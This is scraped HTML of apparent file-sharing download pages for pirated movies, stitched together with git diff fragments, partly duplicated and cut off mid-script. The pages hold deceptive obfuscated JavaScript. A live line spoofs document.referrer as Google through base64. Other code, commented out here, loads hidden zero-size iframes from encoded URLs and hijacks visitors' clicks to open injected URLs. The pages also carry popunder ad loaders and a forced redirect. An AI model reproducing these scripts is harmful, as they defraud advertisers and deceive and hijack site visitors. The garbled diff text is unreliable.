<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
<!--2dl-->
<div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
</div>
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
</body>
</html><script>
window.sessionStorage.setItem('xl',window.location.href)
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
</script>
<script>
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
</script>
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
<!--</script>-->
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>

View file

@ -1,343 +0,0 @@
<html>
<head>
<title>Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv</title>
<meta charset="utf-8">
<meta name="referrer" content="no-referrer"/>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<meta name=viewport content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex,nofollow">
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script>
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
<!--<script type="text/javascript">-->
<!-- aclib.runPop({-->
<!-- zoneId: '10550070',-->
<!-- });-->
<!--</script>-->
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-VPX61DM9S8"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-VPX61DM9S8');Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
</script>
<script>
// function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}
// let p_ = document.location.pathname;
// cn('/');
// setTimeout(()=> cn(p_), 2200);
</script>
</head>
<style>
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
.btn-success1 {
color: #fff;
background-color: #28a745;
border-color: #28a745;
display: inline-block;
text-align: center;
font-size: 1rem;
letter-spacing: .4px;
font-family: 'Open Sans',sans-serif!important;
font-weight: 600;
text-decoration:none !important;
vertical-align: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
border: 1px solid transparent;
padding: .375rem .75rem;
line-height: 1.5;
border-radius: .30rem;
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
}
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
color: #fff;
background-color: #1e7e34;
border-color: #1c7430;
}
.btn-success1:hover {
color: #fff;
background-color: #218838;
border-color: #1e7e34;
}
.btn-success1.focus, .btn-success1:focus {
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
}
.btn-lg, .btn-group-lg > .btn2 {
padding: .5rem .6rem !important;
font-family: 'Open Sans',sans-serif!important;
letter-spacing: .1px;
border-radius: 0.35rem!important;
}
.ads-btns {
position: relative;
overflow: hidden
}
.ads-btns a.btn2 {
min-width: 40%
}
.ads-btns svg {
fill: #fff;
width: 17px;
position: absolute;
right: 0;
top: 0
}
.ads-btns svg path {
fill: #fff;
stroke: #fff
}
.ads-btns svg:first-child path {
fill: #fff;
stroke: transparent
}
.ads-btns svg:first-child {
right: 20px
}
.downloads-btns-div .btn2 {
margin: 0 3px 12px
}
.btn2 {
font-style: normal;
font-weight: 500;
font-size: 14px;
text-align: center;
text-transform: uppercase;
border: 2px solid #cbfc01;
padding: 10px 15px;
border-radius: 6px;
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
background: #0ebac3;
color: #000;
display: inline-block;
text-decoration: none;
background: #cbfc01
}
.btn-zip {
border-color: #00d0ff;
background: #00d0ff;
color: #000
}
</style>
<body>
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
<div class="ads-core-ads-100892"></div>
<div class="ads-core-ads-101001"></div>
<center>
<br/>
<div class="header">
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
</div>
<br>
<div class="container container-fluid main">
<div class="card-body">
<h2>
<div class="main" id="section2">
<div class="card h6">
<div class="card-header text-white bg-primary mb-3">
Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv </div>
<div class="card-body">
<ul class="list-group">
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">17.78 GB</i></li>
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="size">24-Mar-2026 05:58:31</i></li>
</ul>
</ul>
</div>
</div>
</div>
<div class="alert alert-warning h6" role="alert">
<span>
<p>Experience the magic of Hubcloud where files effortlessly find their way into your downloads!</p>
<b>Hubcloud Means File will get Downloaded by anyhow (: </b>
</span>
</div>
<center>
<!--<a href="https://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/header.gif" style="-->
<!-- width: 820px;-->
<!-- height: 90px;-->
<!-- padding: -17px;-->
<!--" class="img-fluid"></a>-->
</center>
<div class="loading">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin:auto;background:#fff;display:block;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g><circle cx="73.801" cy="68.263" fill="#e15b64" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="0s"></animateTransform>
</circle><circle cx="68.263" cy="73.801" fill="#f47e60" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.062s"></animateTransform>
</circle><circle cx="61.481" cy="77.716" fill="#f8b26a" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.125s"></animateTransform>
</circle><circle cx="53.916" cy="79.743" fill="#abbd81" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.187s"></animateTransform>
</circle><circle cx="46.084" cy="79.743" fill="#849b87" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.25s"></animateTransform>
</circle><circle cx="38.519" cy="77.716" fill="#6492ac" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.312s"></animateTransform>
</circle><circle cx="31.737" cy="73.801" fill="#637cb5" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.375s"></animateTransform>
</circle><circle cx="26.199" cy="68.263" fill="#6a63b6" r="3">
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.437s"></animateTransform>
</circle><animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;0 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s"></animateTransform></g>
</svg>
<h3>Please Wait While Page is loading</h3>
</div>
<div class="vd d-none">
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=p94k4dccjwxjcx4&token=cDdpTE41ZnJuSTdhY1BQR0hRaGhvTDdXWkdkc2hDdm90Y1dFNFBFaGZGQT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
<center>
<!--<div class="ads-btns">-->
<!--<div class="downloads-btns-div"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M7.5,1.5a6,6,0,1,0,0,12a6,6,0,1,0,0,-12m0,1a5,5,0,1,1,0,10a5,5,0,1,1,0,-10ZM6.625,11l1.75,0l0,-4.5l-1.75,0ZM7.5,3.75a1,1,0,1,0,0,2a1,1,0,1,0,0,-2Z"></path></svg><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 15 15"><path d="M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5"></path></svg><a class="btn2" href="https://winexch.com/?btag=52330173" rel="nofollow" target="blank">Watch Online</a><a class="btn2 btn-zip" target="blank" rel="nofollow" href="https://winexch.com/?btag=52330173">Download</a></div>-->
<!--</div>-->
</center>
</div>
</h2>
<center>
<!-- <a href="http://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/footer.gif" style="-->
<!-- width: 820px;-->
<!-- height: 90px;-->
<!-- padding: -17px;-->
<!--" class="img-fluid"></a>-->
</center>
<div class="alert alert-info" role="alert">
<P><a href="https://tinyurl.com/yjrvvdxu" rel="noopener noreferrer nofollow" target="_blank">How to Download From HubCloud ? Click here to Watch Tutorial</a></P>
</div>
<div class="alert alert-primary" role="alert">
<p><b>Note:</b> <i> Always Use Updated Chrome Browser With Cookies Enabled .</i>| Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
</div>
<div class="alert alert-info" role="alert">
<p>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</p>
</div>
<hr>
<!--<div class="m-5 font-weight-normal text-primary">-->
<!--<a href="https://a-ads.com?partner=1490501">Advertise with Anonymous Ads</a>-->
<!--</div>-->
<br>
<div class="tab-content">
<div role="tabpanel" class="tab-pane fade show active" id="link">
<div class="text" align="center">
<ul class="nav nav-tabs" role="tablist">
<li class="nav-item">
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
</li>
</ul>
</div>
<div class="card">
<div class="card-body" id="div1">
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/p94k4dccjwxjcx4</p>
</div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script>
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240);
</script>
<script>
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=p94k4dccjwxjcx4&token=cDdpTE41ZnJuSTdhY1BQR0hRaGhvTDdXWkdkc2hDdm90Y1dFNFBFaGZGQT0=';
setTimeout(function(){
document.querySelector(".loading").classList.add("d-none");
document.querySelector(".vd").classList.remove("d-none");
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
stck('xlax',"s4t",1440);
window.location.href = url;
}
}, 2000);
var download = document.getElementById('download');
download.onclick = function() {
if (this.classList.contains('disabled')) {
event.preventDefault();
return;
}
window.location.href = url;
download.classList.add('disabled');
setTimeout(function() {
download.classList.remove('disabled');
}, 6000);
}
</script>
<script>
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
</script>
</div>
</div>
</div>
<br>
<br>
<br>
<br><br>
</div>
<div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
</div>
</body>
</html>

View file

@ -2,7 +2,8 @@
<head> <head>
<title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title> <title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="referrer" content="no-referrer"/> <script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
<meta name="referrer" content="no-referrer">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
@ -17,14 +18,7 @@
<meta name="googlebot" content="noindex,nofollow"> <meta name="googlebot" content="noindex,nofollow">
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script> <script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
<!--<script type="text/javascript">-->
<!-- aclib.runPop({-->
<!-- zoneId: '10550070',-->
<!-- });-->
<!--</script>-->
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics --> <!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
@ -148,17 +142,12 @@
color: #000 color: #000
} }
</style> </style>
<body> <body><center>
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
<div class="ads-core-ads-100892"></div>
<div class="ads-core-ads-101001"></div>
<center>
<br/> <br/>
<div class="header"> <div class="header">
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a> HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
</div> </div>
<br> <br>
<div class="container container-fluid main"> <div class="container container-fluid main">
@ -228,7 +217,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxU1ZQelhidzNibXJ5TXk1eDdydjFJcz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a> <a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxVGpNRHpBR2lCakE1ZHJUTlcvUTlaTT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
<center> <center>
@ -280,35 +269,25 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
</div> </div>
<div class="card"> <div class="card">
<div class="card-body" id="div1"> <div class="card-body" id="div1">
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/bffzqlpqfllfcld</p> <p onclick="copy_link('div1')">https://hubcloud.one/drive/bffzqlpqfllfcld</p>
</div> </div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button> <button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script> <script>
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240); // function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
</script> // function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
<script>
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxU1ZQelhidzNibXJ5TXk1eDdydjFJcz0=';
setTimeout(function(){ setTimeout(function(){
document.querySelector(".loading").classList.add("d-none"); document.querySelector(".loading").classList.add("d-none");
document.querySelector(".vd").classList.remove("d-none"); document.querySelector(".vd").classList.remove("d-none");
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
stck('xlax',"s4t",1440);
window.location.href = url;
}
}, 2000); }, 2000);
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=bffzqlpqfllfcld&token=ZDdhbnhoS3dXSzlGOGhnN3ErdTUxVGpNRHpBR2lCakE1ZHJUTlcvUTlaTT0=';
var download = document.getElementById('download'); var download = document.getElementById('download');
download.onclick = function() { download.onclick = function() {
if (this.classList.contains('disabled')) { if (this.classList.contains('disabled')) {
event.preventDefault(); event.preventDefault();
return; return;
} }
window.location.href = url; window.location.href = url;
download.classList.add('disabled'); download.classList.add('disabled');
setTimeout(function() { setTimeout(function() {
@ -316,9 +295,9 @@ download.onclick = function() {
}, 6000); }, 6000);
} }
</script> </script>
<script>
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
</script>
<script> <script>
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1); // function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var 